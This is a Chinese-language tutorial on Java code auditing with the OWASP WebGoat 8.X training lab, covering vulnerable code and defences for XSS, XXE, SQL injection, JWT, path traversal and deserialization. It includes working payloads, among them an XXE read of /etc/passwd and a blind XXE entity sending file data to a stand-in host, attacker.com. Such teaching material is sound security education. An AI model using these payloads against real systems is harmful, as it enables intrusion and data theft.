【JAVA代码审计入门】OWASP-WebGoat8.X靶场代码审计大全
字数 2142 2025-09-01 11:26:11
Java代码审计入门:OWASP WebGoat 8.X靶场实战指南
一、环境准备与基础概念
1.1 WebGoat简介
WebGoat是OWASP组织开发的Java靶场程序,专门用于演示web应用中的安全漏洞。本教程使用IDEA启动方式,便于进行代码审计。
1.2 环境配置
- 下载WebGoat并解压
- 安装OpenJDK-17并配置为项目SDK
- 安装Lombok插件
- 修改pom.xml中的OWASP版本(如遇报错可忽略)
- 更新Maven依赖
- 依次运行WebWolf和StartWebGoat
1.3 Spring MVC核心概念
- Controller(控制器):处理HTTP请求的入口类,使用
@RestController或@Controller注解 - Mapping(映射):定义URL路径与处理方法的绑定规则,如
@GetMapping、@PostMapping - Endpoint(端点):实际处理请求的业务逻辑单元(方法+映射)
三者关系示例:
Controller: CrossSiteScriptingLesson5a类
Mapping: @GetMapping("/CrossSiteScripting/attack5a")
Endpoint: @GetMapping(...) + completed(...)方法
端点路径: /CrossSiteScripting/attack5a
二、漏洞审计与复现
2.1 敏感信息泄露
2.1.1 审计要点
- 前端JS中硬编码的凭证信息
- 混淆处理的JS代码(可使用在线工具解混淆)
- 网络请求中的明文传输
2.1.2 防御建议
- 避免在前端存储敏感信息
- 使用专业的混淆工具
- 实施HTTPS加密传输
2.2 身份认证漏洞
2.2.1 认证绕过(2FA绕过)
漏洞代码分析:
// AccountVerificationHelper.java
public boolean verifyAccount(String userId, List<String> submittedQuestions, List<String> submittedAnswers) {
// 仅检查参数数量而非内容
return submittedQuestions.size() == secQuestions.size()
&& submittedAnswers.size() == secAnswers.size();
}
利用方法:
- 删除
secQuestion0-1参数 - 添加任意两个含
secQuestion关键字的参数
2.2.2 JWT令牌漏洞
漏洞条件:
- 使用io.jsonwebtoken库0.10.0以下版本
- 未正确验证签名算法
利用步骤:
- 修改JWT的
alg为none - 设置
admin=true - 移除签名部分
2.2.3 密码重置漏洞
漏洞原理:
- 从HTTP头获取Host字段构造重置链接
- 未对Host头做严格过滤
利用流程:
- 拦截密码重置请求
- 修改Host头为攻击者控制的地址
- 获取包含UUID的重置链接
2.3 XSS漏洞
2.3.1 反射型XSS
过滤逻辑:
// 检测<script>标签及alert/console.log
private static final Pattern XSS_PATTERN = Pattern.compile(".*<script>(console\\.log|alert).*</script>.*", Pattern.CASE_INSENSITIVE);
绕过要点:
- 确保payload有输出点
- 使用未被过滤的事件处理器如
onerror
2.3.2 DOM型XSS
典型场景:
// 路由参数直接拼接
function showTestParam(param) {
return "Test parameter: " + param;
}
利用方法:
构造恶意URL:start.mvc#lesson/CrossSiteScripting.lesson/9?<script>alert(1)</script>
2.4 目录遍历
2.4.1 常见绕过技术
- 路径规范化绕过:
....//→../ - 空字节截断:
evil.png%00.jpg - ZIP解压路径遍历(使用EvilZip工具)
2.4.2 防御措施
- 使用
getCanonicalPath()规范化路径 - 白名单校验文件扩展名
- 在内存中处理上传文件
2.5 XXE漏洞
2.5.1 基本利用
<!-- 读取本地文件 -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<comment>&xxe;</comment>
2.5.2 盲注XXE
<!-- 外带数据 -->
<!ENTITY % file SYSTEM "file:///secret.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
2.5.3 防御方案
- 禁用DTD解析
- 使用
XMLConstants.FEATURE_SECURE_PROCESSING - 实施输入过滤
2.6 SQL注入
2.6.1 注入类型识别
- 数字型:
user_id=1 AND 1=1-- - 字符型:
name='admin' OR '1'='1'-- - 报错注入:
AND GTID_SUBSET(CONCAT(0x7e,(SELECT USER()),0x7e),1)
2.6.2 预编译绕过
场景:ORDER BY字段注入
-- 原始语句
SELECT * FROM servers ORDER BY ${column}
-- 注入payload
column=(CASE WHEN (SELECT SUBSTR(ip,1,1) FROM servers WHERE hostname='webgoat-prd')='1' THEN id ELSE hostname END)
2.6.3 防御方案
- 严格使用参数化查询
- 实施最小权限原则
- 输入验证白名单
2.7 反序列化漏洞
2.7.1 漏洞代码分析
public class VulnerableTaskHolder implements Serializable {
private String taskAction;
private void readObject(ObjectInputStream stream) {
stream.defaultReadObject();
if (taskAction.startsWith("sleep") || taskAction.startsWith("ping")) {
Runtime.getRuntime().exec(taskAction);
}
}
}
2.7.2 利用步骤
- 构造恶意序列化对象
- 设置
taskAction为系统命令 - Base64编码后提交
2.7.3 防御措施
- 使用
ObjectInputFilter验证类 - 替换Java原生序列化方案
- 实施代码签名验证
三、审计方法论
3.1 审计流程
- 入口定位:通过端点路径追踪Controller
- 数据流分析:从用户输入到敏感操作
- 上下文理解:框架特性、业务逻辑
- 漏洞验证:构造POC验证假设
3.2 关键检查点
- 未过滤的用户输入
- 动态SQL拼接
- 不安全的反射调用
- 硬编码凭证
- 权限校验缺失
3.3 工具推荐
- 静态分析:FindSecBugs、Semgrep
- 动态测试:Burp Suite、Yakit
- 辅助工具:EvilZip、JWT Tool
四、进阶技巧
4.1 框架特性利用
- Spring表达式注入(SpEL)
- Thymeleaf SSTI
- Hibernate HQL注入
4.2 漏洞组合利用
- XXE → SSRF → 内网渗透
- 反序列化 → RCE → 权限提升
- SQL注入 → 文件读写 → 持久化
4.3 防御纵深
- 输入层:白名单验证、类型转换
- 处理层:参数化查询、安全API
- 输出层:编码处理、CSP策略
本教程详细覆盖了WebGoat 8.X中的主要漏洞类型,从基础环境搭建到高级漏洞利用,提供了完整的代码审计方法论。建议读者按照章节顺序实践,逐步掌握Java代码审计的核心技能。